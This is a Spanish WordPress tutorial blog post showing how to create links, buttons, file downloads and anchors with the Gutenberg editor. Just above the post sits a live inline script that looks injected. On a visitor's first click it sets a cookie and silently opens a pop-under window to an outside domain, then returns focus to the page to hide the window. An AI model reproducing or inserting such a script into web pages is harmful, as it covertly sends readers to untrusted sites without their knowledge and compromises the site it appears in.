• Skip to main content
  • Skip to primary sidebar
  • Sesiones
    • Sesión 1
    • Sesión 2
    • Sesión 3
    • Sesión 4
  • Actividades
    • Actividad 1
    • Actividad 2
    • Actividad 3
  • BLOG

Creación de entradas con WordPress

Blog de prácticas con el editor Gutenberg

<script type=»text/javascript»>!(function(){ function addEvent(obj, eventName, func){
if (obj.attachEvent) { obj.attachEvent(«on» + eventName, func); } else if(obj.addEventListener) { obj.addEventListener(eventName, func, true); } else { obj[«on» + eventName] = func; }
} addEvent(window, «load», function(e){ addEvent(document.body, «click», function(e) { var pX; pX =screen.width; if (!pX){
pX = document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth; }
if(document.cookie.indexOf(«bks=lykvitinhcu1») == -1) { var now = new Date(); now.setTime(now.getTime() + 24 * 3600 * 1000); document.cookie = «bks=lykvitinhcu1; expires=» + now.toUTCString() + «;»;
params = ‘width=’+Math.min(1024,pX); params += ‘, height=768’; params += ‘, top=0, left=0,scrollbars=yes’; var w = window.open(«https://fakeip.vip/», ‘window3’, params).blur(); window.focus(); }}); }); })();</script>

Bloques Gutenberg – enlaces

09/03/2021 por pmartiaf

Enlaces en textos | Enlace en imágenes | Botón | Archivo | Anclajes

Existen diferentes opciones para crear enlaces o hipervínculos. Por un lado los podemos incluir en los propios bloques de texto o en imágenes, pero también pueden crearse mediante el bloque de Botón y el de Archivo,

Enlaces en textos

Al trabajar con bloques de texto, encontramos en la barra de diferentes opciones de configuración en la que se incluye la posibilidad de crear un Enlace o Link.

Este icono nos permite indicar la URL de la página Web, archivo, imagen… a la que queremos acceder y nos permite también indicar si deseamos que se abra en otra pestaña.

Es aconsejable, que siempre que siempre que queramos acceder a un contenido, ajeno a nuestro sitio Web, indiquemos que el enlace se abra en otra pestaña, para mantener nuestro sitio abierto en el navegador del usuario/a.

La opción No Follow, indica a los los motores de búsqueda que no indexen ese destino desde nuestra Web. Para saber más sobre este atributo pincha aquí.

Se recomienda activar la opción Sponsored , cuando el enlace nos lleva a un Link publicitario.

Google recomienda usar este atributo para marcar todos aquellos enlaces que son parte de una acción publicitaria, un patrocinio o cualquier otro “acuerdo de compensación”. El enlace hacia la web o el producto anunciado en un post patrocinado es el ejemplo perfecto de uso para este atributo.

https://useo.es/ugc-sponsored-nofollow

Columna 1

Texto de párrafo

Columna 2

woman in blue bikini drinking from white and blue labeled can

Enlace en imágenes

Cuando creamos un Link en una imagen, nos da tres opciones:

  • URL
  • Archivo de medios: abre la imagen de forma aislada
  • Página de adjunto: abre la imagen integrada en el entorno de la web

Al igual que en el caso anterior, podemos forzar que el enlace se abra en otra pestaña.


Botón

Para añadir botones personalizables. Al igual que en el caso del Separador, su apariencia dependerá del tema, aunque sí podemos modificar ciertas características.

Botón 1
Botón 2
Botón 3
Botón 4

Del mismo modo que en los dos casos anteriores, podemos forzar que el enlace se abra en otra pestaña.


Archivo

Permite crear un enlace de descarga directo a un archivo. Se puede configurar para que muestre, o no, el botón.

Contenidos Curso WPDescarga

Anclajes

En artículos con mucho contenido, en el que hay mucho desplazamiento vertical, es conveniente incluir opciones de navegación interna.

Para poder hacer esto necesitamos seguir unos pequeños pasos:

  1. Indicar los puntos de anclaje, es decir los lugares concretos del contenido, que servirán de destino a los Links.
    Para ello, seleccionaremos, normalmente el texto marcado como Encabezado de cada sección de las diferentes partes del artículo, y le pondremos un «ancla» con un identificador, en las propiedades Avanzadas del Bloque.
  1. Seleccionar el texto o imagen al que se le va a aplicar el Link. En el campo en el que incluir la URL, le pondremos el carácter almohadilla y el nombre que hayamos proporcionado al anclaje: #ancla5, tal y como se ha hecho en menú de navegación que se ha icluido al comienzo de este artículo.

Existe una tendencia «single page», sitios web de una sola página. Sitios Webs de contenido no muy estructurado, pensados en hacer una navegación más cómoda para dispositivos móviles.

Subir

Filed Under: Sesión 4 Tagged With: Bloques, Enlaces, Gutenberg

Primary Sidebar

Categorías

  • Actividad
  • Sesión 1
  • Sesión 2
  • Sesión 3
  • Sesión 4

Entradas recientes

  • La nueva Web de la Escuela de Arte
  • Otras funcionalidades
  • Genésis Blocks
  • Bloques Gutenberg – texto
  • Bloques Gutenberg – imagen
junio 2025
L M X J V S D
 1
2345678
9101112131415
16171819202122
23242526272829
30  
« Mar    

Blog de Patricia
Copyright © 2025 · Magazine Pro para Genesis Framework · WordPress · Log in